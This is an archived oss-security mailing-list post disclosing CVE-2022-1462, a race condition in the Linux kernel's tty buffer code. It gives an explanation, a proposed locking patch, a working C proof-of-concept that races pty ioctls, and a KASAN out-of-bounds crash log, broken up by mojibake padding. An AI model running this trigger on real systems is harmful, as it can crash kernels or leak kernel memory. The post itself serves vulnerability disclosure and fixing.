[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] CVE-2022-1462: Linux kernel: A race condition vulnerability in drivers/tty/tty_buffer
From: δΈε <chennbnbnb () gmail ! com>
Date: 2022-05-27 14:47:05
Message-ID: CAHP5YvJS6SjwTxCzsnhMbwxqmhj08xqgv-k6AfpiwBheCpJBAw () mail ! gmail ! com
[Download RAW message or body]
[Attachment #2 (text/plain)]
this vulnerability comes from commit(
https://github.com/torvalds/linux/commit/b6da31b2c07c46f2dcad1d86caa835227a16d9ff)
this commit suggest do tty_flip_buffer_push without port->lock in pty_write
but tty_flip_buffer_push() will write critical resources `buf->tail->commit`
this can cause race conditions, value of `buf->tail->commit` may becom less
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββββββββ```c
void tty_flip_buffer_push(struct tty_port* port)
{
struct tty_bufhead* buf = &port->buf;
smp_store_release(&buf->tail->commit, buf->tail->used); //Here
queue_work(system_unbound_wq, &buf->work);
}
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββββ```
then tty_flip_buffer_push() will call function flush_to_ldisc()
in function flush_to_ldisc(), count will become negative when
`head->commit` get less
this will lead to out-of-bound-read and leak some information in slab
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββ```c \
static void flush_to_ldisc(struct work_struct* work) {
...;
while (1) {
struct tty_buffer* head = buf->head;
...;
next = smp_load_acquire(&head->next);
count = smp_load_acquire(&head->commit) - head->read; //Here
...;
count = receive_buf(port, head, count);
head->read += count;
...;
}
...;
}
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ```
my patch suggestion is that: use mutex lock to protect
`smp_store_release(&buf->tail->commit, buf->tail->used);`
this won't cause deadlock, it's safe
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββββββ```diff
--- ./tty_buffer.c.raw 2022-04-24 23:21:55.456510592 +0800
+++ ./tty_buffer.c 2022-04-24 23:33:47.569986594 +0800
@@ -569,12 +569,15 @@
void tty_flip_buffer_push(struct tty_port *port)
{
struct tty_bufhead *buf = &port->buf;
+ unsigned long flags; //patch
/*
* Paired w/ acquire in flush_to_ldisc(); ensures flush_to_ldisc()
sees
* buffer data.
*/
+ spin_lock_irqsave(&port->lock, flags); //patch, Guaranteed
atomicity of writing to commit varias
smp_store_release(&buf->tail->commit, buf->tail->used);
+ spin_unlock_irqrestore(&port->lock, flags); //patch
queue_work(system_unbound_wq, &buf->work);
}
EXPORT_SYMBOL(tty_flip_buffer_push);
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
βββββββββββββββββββββββββββββββββββββββββββββββββ```
here is my POC, it will quickly trigger it on 4 SMP CPU
β```
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/futex.h> /* Definition of FUTEX_* constants */
#include <pthread.h>
#include <pty.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <unistd.h>
void* worker1(void* arg)
{
//printf("worker1\n");
int fd_pts = (int)arg;
for (int i = 0; i < 4096; i++) {
char C = 8;
assert(ioctl(fd_pts, TIOCSTI, &C) == 0);
}
//printf("worker1 Done\n");
}
void* worker2(void* arg)
{
//printf("worker2\n");
int fd_pts = (int)arg;
for (int i = 0; i < 4096; i++) {
assert(ioctl(fd_pts, TCXONC, TCIOFF) == 0);
}
//printf("worker2 Done\n");
}
void execute_one(void)
{
int fd_ptmx = open("/dev/ptmx", 0, 0);
int arg = 0;
ioctl(fd_ptmx, TIOCSPTLCK, &arg);
int fd_pts = ioctl(fd_ptmx, TIOCGPTPEER, 0);
ioctl(fd_pts, TIOCSCTTY, 0);
//perror("tiocsctty");
pthread_t th1, th2;
pthread_create(&th1, NULL, worker1, fd_pts);
pthread_create(&th2, NULL, worker2, fd_pts);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
}
void child(void)
{
while (1) {
if(fork()==0){
int res = setsid();
execute_one();
exit(0);
}
wait(NULL);
}
}
int main(void)
{
int NPROC = sysconf(_SC_NPROCESSORS_CONF);
printf("NPROC: %d\n", NPROC);
for (int i = 0; i < NPROC; i++) {
if (fork() == 0) {
child();
exit(0);
}
}
sleep(10 * 60);
}
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββββββββ \
ββββββββββββββββββββββββββ```
here is my crash example
βββββββββββββββββββββββββββββββββββ```
[ 2555.669413]
==================================================================
[ 2555.670039] BUG: KASAN: slab-out-of-bounds in
n_tty_receive_buf_common+0x1262/0x4380
[ 2555.670039] Read of size 4086 at addr ffff88811b42102a by task
kworker/u16:5/171
[ 2555.670039]
[ 2555.670039] CPU: 2 PID: 171 Comm: kworker/u16:5 Not tainted 5.18.0-rc1 #5
[ 2555.670039] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
1.13.0-1ubunt4
[ 2555.670039] Workqueue: events_unbound flush_to_ldisc
[ 2555.670039] Call Trace:
[ 2555.670039] <TASK>
[ 2555.670039] dump_stack_lvl+0x4d/0x66
[ 2555.670039] print_report.cold+0xb2/0x6b7
[ 2555.670039] ? n_tty_receive_buf_common+0x1262/0x4380
[ 2555.670039] kasan_report+0xa9/0x120
[ 2555.670039] ? n_tty_receive_buf_common+0x1262/0x4380
[ 2555.670039] kasan_check_range+0x14d/0x1d0
[ 2555.670039] memcpy+0x20/0x60
[ 2555.670039] n_tty_receive_buf_common+0x1262/0x4380
[ 2555.670039] ? select_task_rq_fair+0x3cf/0x2f80
[ 2555.670039] ? ldsem_down_read_trylock+0xd6/0x140
[ 2555.670039] ? __init_ldsem+0x170/0x170
[ 2555.670039] ? osq_unlock+0x1d0/0x1d0
[ 2555.670039] tty_ldisc_receive_buf+0xa6/0x190
[ 2555.670039] ? n_tty_receive_buf_common+0x4380/0x4380
[ 2555.670039] tty_port_default_receive_buf+0x6e/0xa0
[ 2555.670039] flush_to_ldisc+0x1eb/0x3e0
[ 2555.670039] process_one_work+0x866/0x11d0
[ 2555.670039] worker_thread+0x549/0x1130
[ 2555.670039] ? process_one_work+0x11d0/0x11d0
[ 2555.670039] kthread+0x288/0x330
[ 2555.670039] ? kthread_complete_and_exit+0x40/0x40
[ 2555.670039] ret_from_fork+0x22/0x30
[ 2555.670039] </TASK>
[ 2555.670039]
[ 2555.682188] Allocated by task 30210:
[ 2555.682188] kasan_save_stack+0x1e/0x40
[ 2555.682188] __kasan_kmalloc+0x81/0xa0
[ 2555.682188] __tty_buffer_request_room+0x1a6/0x560
[ 2555.682188] tty_insert_flip_string_fixed_flag+0x8c/0x1c0
[ 2555.682188] pty_write+0x10d/0x1d0
[ 2555.682188] tty_put_char+0x129/0x150
[ 2555.682188] __process_echoes+0x489/0x8c0
[ 2555.682188] n_tty_receive_buf_common+0xbd6/0x4380
[ 2555.682188] tty_ioctl+0x468/0x12c0
[ 2555.682188] __x64_sys_ioctl+0x170/0x1d0
[ 2555.682188] do_syscall_64+0x3b/0x90
[ 2555.682188] entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 2555.682188]
[ 2555.682188] Last potentially related work creation:
[ 2555.682188] kasan_save_stack+0x1e/0x40
[ 2555.682188] __kasan_record_aux_stack+0x97/0xa0
[ 2555.682188] insert_work+0x46/0x330
[ 2555.687718] __queue_work+0x3db/0xcb0
[ 2555.687718] queue_work_on+0x64/0x70
[ 2555.687718] release_tty+0x488/0x5c0
[ 2555.687718] tty_release_struct+0x35/0x50
[ 2555.687718] tty_release+0xa8d/0xd60
[ 2555.687718] __fput+0x21e/0x940
[ 2555.687718] task_work_run+0xe1/0x180
[ 2555.689250] exit_to_user_mode_prepare+0x11c/0x120
[ 2555.689250] syscall_exit_to_user_mode+0x1d/0x40
[ 2555.689250] do_syscall_64+0x48/0x90
[ 2555.690018] entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 2555.690018]
[ 2555.690018] Second to last potentially related work creation:
[ 2555.690018] kasan_save_stack+0x1e/0x40
[ 2555.690018] __kasan_record_aux_stack+0x97/0xa0
[ 2555.690018] insert_work+0x46/0x330
[ 2555.690018] __queue_work+0x3db/0xcb0
[ 2555.690018] queue_work_on+0x64/0x70
[ 2555.690018] release_tty+0x49a/0x5c0
[ 2555.690018] tty_release_struct+0x35/0x50
[ 2555.690018] tty_release+0xa8d/0xd60
[ 2555.690018] __fput+0x21e/0x940
[ 2555.690018] task_work_run+0xe1/0x180
[ 2555.690018] exit_to_user_mode_prepare+0x11c/0x120
[ 2555.690018] syscall_exit_to_user_mode+0x1d/0x40
[ 2555.690018] do_syscall_64+0x48/0x90
[ 2555.690018] entry_SYSCALL_64_after_hwframe+0x44/0xae
[ 2555.690018]
[ 2555.690018] The buggy address belongs to the object at ffff88811b421000
[ 2555.690018] which belongs to the cache kmalloc-1k of size 1024
[ 2555.690018] The buggy address is located 42 bytes inside of
[ 2555.690018] 1024-byte region [ffff88811b421000, ffff88811b421400)
[ 2555.690018]
[ 2555.690018] The buggy address belongs to the physical page:
[ 2555.690018] page:00000000d4e43be5 refcount:1 mapcount:0
mapping:0000000000000000 inde0
[ 2555.690018] head:00000000d4e43be5 order:3 compound_mapcount:0
compound_pincount:0
[ 2555.690018] flags: 0x200000000010200(slab|head|node=0|zone=2)
[ 2555.690018] raw: 0200000000010200 dead000000000100 dead000000000122
ffff888100042dc0
[ 2555.690018] raw: 0000000000000000 0000000080100010 00000001ffffffff
0000000000000000
[ 2555.690018] page dumped because: kasan: bad access detected
[ 2555.690018]
[ 2555.690018] Memory state around the buggy address:
[ 2555.690018] ffff88811b421100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00
[ 2555.690018] ffff88811b421180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00
[ 2555.690018] >ffff88811b421200: 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
fc fc
[ 2555.690018] ^
[ 2555.690018] ffff88811b421280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc
fc fc
[ 2555.690018] ffff88811b421300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc
fc fc
[ 2555.690018]
==================================================================
[ 2555.704110] Disabling lock debugging due to kernel taint
ββββββββββββββββββββββββββββββ```
English is not my native language, please forgive me
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic